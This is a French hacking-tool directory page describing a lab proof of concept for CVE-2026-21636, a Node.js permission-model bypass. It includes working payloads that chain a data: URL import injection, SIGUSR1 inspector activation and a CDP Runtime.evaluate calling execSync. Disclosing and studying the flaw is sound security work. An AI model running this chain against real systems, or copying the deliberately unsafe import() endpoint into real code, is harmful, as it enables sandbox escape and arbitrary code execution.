Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-21636 — Preuve de concept démontrant un contournement du modèle de permissions de Node.js (CVE-2026-21636) qui permet un accès réseau via undici/fetch vers des services locaux, permettant l'exécution de code arbitraire via CDP. | Kitploit
Outils/GitHubGitHub/pauldechassey/cve-2026-21636
Sécurité des ConteneursAnalyse des VulnérabilitésExploitationExploitation d'Applications WebVirtualisation de SécuritéTests d'Intrusion
GitHubpauldechassey/cve-2026-21636

CVE-2026-21636

Preuve de concept démontrant un contournement du modèle de permissions de Node.js (CVE-2026-21636) qui permet un accès réseau via undici/fetch vers des services locaux, permettant l'exécution de code arbitraire via CDP.

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
9il y a 4 moisPas encore vérifié

CVE-2026-21636 - Contournement UDS/Réseau du modèle de permissions Node.js

Résumé de la vulnérabilité

Le modèle de permissions de Node.js (--permission) est conçu pour isoler un processus en restreignant l'accès au système de fichiers, aux processus enfants, aux workers et au réseau. CVE-2026-21636 révèle que les connexions établies via undici/fetch (et net/tls) vers des sockets Unix Domain et des adresses TCP locales contournent complètement la protection réseau, même lorsque --allow-net est absent.

Concerné : Node.js v25 (les permissions réseau sont encore expérimentales au moment de la divulgation).
Ce PoC reproduit le concept sur v22 où le même contournement est observable.

Un attaquant capable d'injecter du JavaScript arbitraire dans un processus exécuté sous --permission (mais sans --allow-net ni --allow-child-process) peut :

  1. Se connecter à des services locaux privilégiés qui devraient être inaccessibles.
  2. Passer par ce service pour exécuter des commandes arbitraires en dehors du sandbox.

Architecture de l'environnement

Deux processus s'exécutent côte à côte dans le conteneur sous supervisord :

target.cjs écrit son propre PID dans /tmp/target.pid au démarrage, puis boucle indéfiniment (processus victime inactif). server.mjs expose un serveur Express sur :8000 avec un endpoint /pid et un endpoint vulnérable /language.

/app/secret.txt appartient à app (chmod 444). Les deux processus peuvent y accéder au niveau du système d'exploitation. L'exploit ne repose pas sur une barrière de permissions de fichiers — il démontre que server.mjs, malgré l'absence de --allow-net, peut atteindre 127.0.0.1:9229 via fetch()/WebSocket et exécuter du code arbitraire dans le processus target.cjs non sandboxé. La lecture de secret.txt via CDP est la preuve de cette exécution de code.

Note : ce que ce PoC démontre réellement

Parce que server.mjs s'exécute déjà avec --allow-fs-read=/, lire /app/secret.txt directement depuis le processus sandboxé est trivialement possible en utilisant uniquement l'injection JS (étape 1) :

root@kitploit:~
import { readFileSync } from 'fs';
export default { secret: readFileSync('/app/secret.txt', 'utf8') };

La lecture du système de fichiers n'est pas l'objet de ce PoC. L'objectif est de démontrer CVE-2026-21636 : malgré l'absence de --allow-net, fetch() (undici) peut établir une connexion TCP vers 127.0.0.1:9229, contournant entièrement la protection réseau du modèle de permissions. L'exploit utilise ce contournement pour pivoter vers le processus target.cjs entièrement non sandboxé via CDP et atteindre l'exécution de code arbitraire en dehors du sandbox ; ce qu'aucune quantité de --allow-fs-read ne permettrait.


Point d'entrée - POST /language

Cette section est hors du périmètre du PoC.

root@kitploit:~
// server.mjs
app.post('/language', async (req, res) => {
    const requested = req.body?.lang ?? 'fr';
    res.json(await import(requested + '/index.js'));
});

Le serveur effectue un import() dynamique sur une chaîne contrôlée par l'utilisateur. Le import() de Node.js prend nativement en charge le schéma d'URL data: :

root@kitploit:~
data:text/javascript,<JS encodé en pourcentage>

Le suffixe /index.js ajouté par le serveur est neutralisé en ajoutant // à la fin de la charge utile (traité comme un commentaire d'URL / fragment de chemin ignoré).

Cela permet l'exécution de JavaScript arbitraire dans le processus sandboxé - le point d'entrée pour abuser de CVE-2026-21636.


Modèle de permissions - ce qui est (et n'est pas) autorisé

Le serveur démarre avec :

root@kitploit:~
node --permission --allow-fs-read=/ /app/server.mjs

L'intention : même si un attaquant exécute du code dans server.mjs, il ne peut pas atteindre le réseau, lancer des processus ou accéder à l'inspecteur.

CVE-2026-21636 brise la frontière --allow-net.


Chaîne d'attaque (3 étapes)

Étape 1 - Récupérer le PID de la cible

root@kitploit:~
GET /pid  →  { "pid": <N> }

target.cjs écrit son propre PID dans /tmp/target.pid au démarrage. Le serveur l'expose. Cela identifie le processus victime qui sera utilisé comme relais CDP. Cela pourrait aussi être fait en injectant du JS dans le point d'entrée ; pour simplifier, j'ai simplement créé l'endpoint /pid.


Étape 2 - Activer l'inspecteur V8 sur target.cjs via SIGUSR1

Charge utile injectée via POST /language (sous forme d'URL data:) :

root@kitploit:~
process.kill(<pid>, 'SIGUSR1');
export default { signal: 'SIGUSR1', sent_to: <pid> };

Lorsqu'un processus Node.js reçoit SIGUSR1, il démarre (ou reprend) son débogueur V8/CDP et commence à écouter sur :

root@kitploit:~
127.0.0.1:9229

Parce que target.cjs s'exécute sans --permission, son inspecteur est entièrement privilégié - il peut évaluer n'importe quelle expression, y compris require('child_process').execSync(...).

L'envoi de signaux (process.kill) n'est pas contrôlé par le modèle de permissions, donc cette étape réussit depuis l'intérieur du sandbox.


Étape 3 - Se connecter à CDP et exécuter des commandes (CVE-2026-21636)

Deuxième charge utile injectée via POST /language :

root@kitploit:~
// récupère la liste des cibles débogables depuis l'API HTTP de l'inspecteur
const [{ id }] = await (await fetch('http://127.0.0.1:9229/json')).json();

// puis ouvre un WebSocket vers l'endpoint CDP de target.cjs
const result = await new Promise(resolve => {
  const ws = new WebSocket(`ws://127.0.0.1:9229/${id}`);
  ws.onopen = () => ws.send(JSON.stringify({
    id: 1,
    method: 'Runtime.evaluate',
    params: {
      expression: `process.mainModule.require('child_process')
                       .execSync('cat /app/secret.txt').toString()`,
      returnByValue: true
    }
  }));
  ws.onmessage = ({ data }) => { ws.close(); resolve(JSON.parse(data)); };
});

export default result;

Pourquoi cela fonctionne malgré l'absence de --allow-net :

fetch() dans Node.js est implémenté par undici. CVE-2026-21636 montre que le chemin de connexion d'undici pour http://127.0.0.1:... (et les options socketPath UDS) ne passe pas par la vérification réseau du modèle de permissions. Le sandbox croit qu'aucun accès réseau sortant n'a été effectué, pourtant la connexion TCP vers :9229 réussit.

L'appel CDP Runtime.evaluate s'exécute dans le processus target.cjs non sandboxé, donc require('child_process') est disponible et execSync fonctionne librement.


Flux complet de l'exploit

root@kitploit:~
attaquant (script Python)
    │
    ├─[1]─ GET  /pid                          → pid = N
    │
    ├─[2]─ POST /language  data:js SIGUSR1    → l'inspecteur de target.cjs démarre sur :9229
    │
    └─[3]─ POST /language  data:js fetch+WS   → CDP Runtime.evaluate → cat /app/secret.txt
                                                           ↑
                                              Contournement CVE-2026-21636 ici
                                              (fetch vers 127.0.0.1 sans --allow-net)

Utilisation

root@kitploit:~
# Construire et démarrer l'environnement
docker compose up --build -d

# Exécuter l'exploit
python3 exploit.py

Sortie attendue :

root@kitploit:~
TARGET PID : 42
Response step 2 : {'signal': 'SIGUSR1', 'sent_to': 42}
SECRET : this_is_a_secret!

Références

  • NVD - CVE-2026-21636
  • Documentation du modèle de permissions Node.js
  • Protocole V8 Inspector / CDP
  • undici - Client HTTP intégré de Node.js
Télécharger l’outil
ProcessusUtilisateurFlagsCapacités
target.cjsappaucunAPI Node.js complète, sans sandbox
server.mjsapp--permission --allow-fs-read=/Lecture FS complète — pas de net, pas de child_process, pas de worker
PermissionStatut
--allow-fs-read=/accordée (lecture complète)
--allow-fs-writerefusée
--allow-netrefusée (expérimentale, non définie)
--allow-child-processrefusée
--allow-workerrefusée
--allow-inspectorrefusée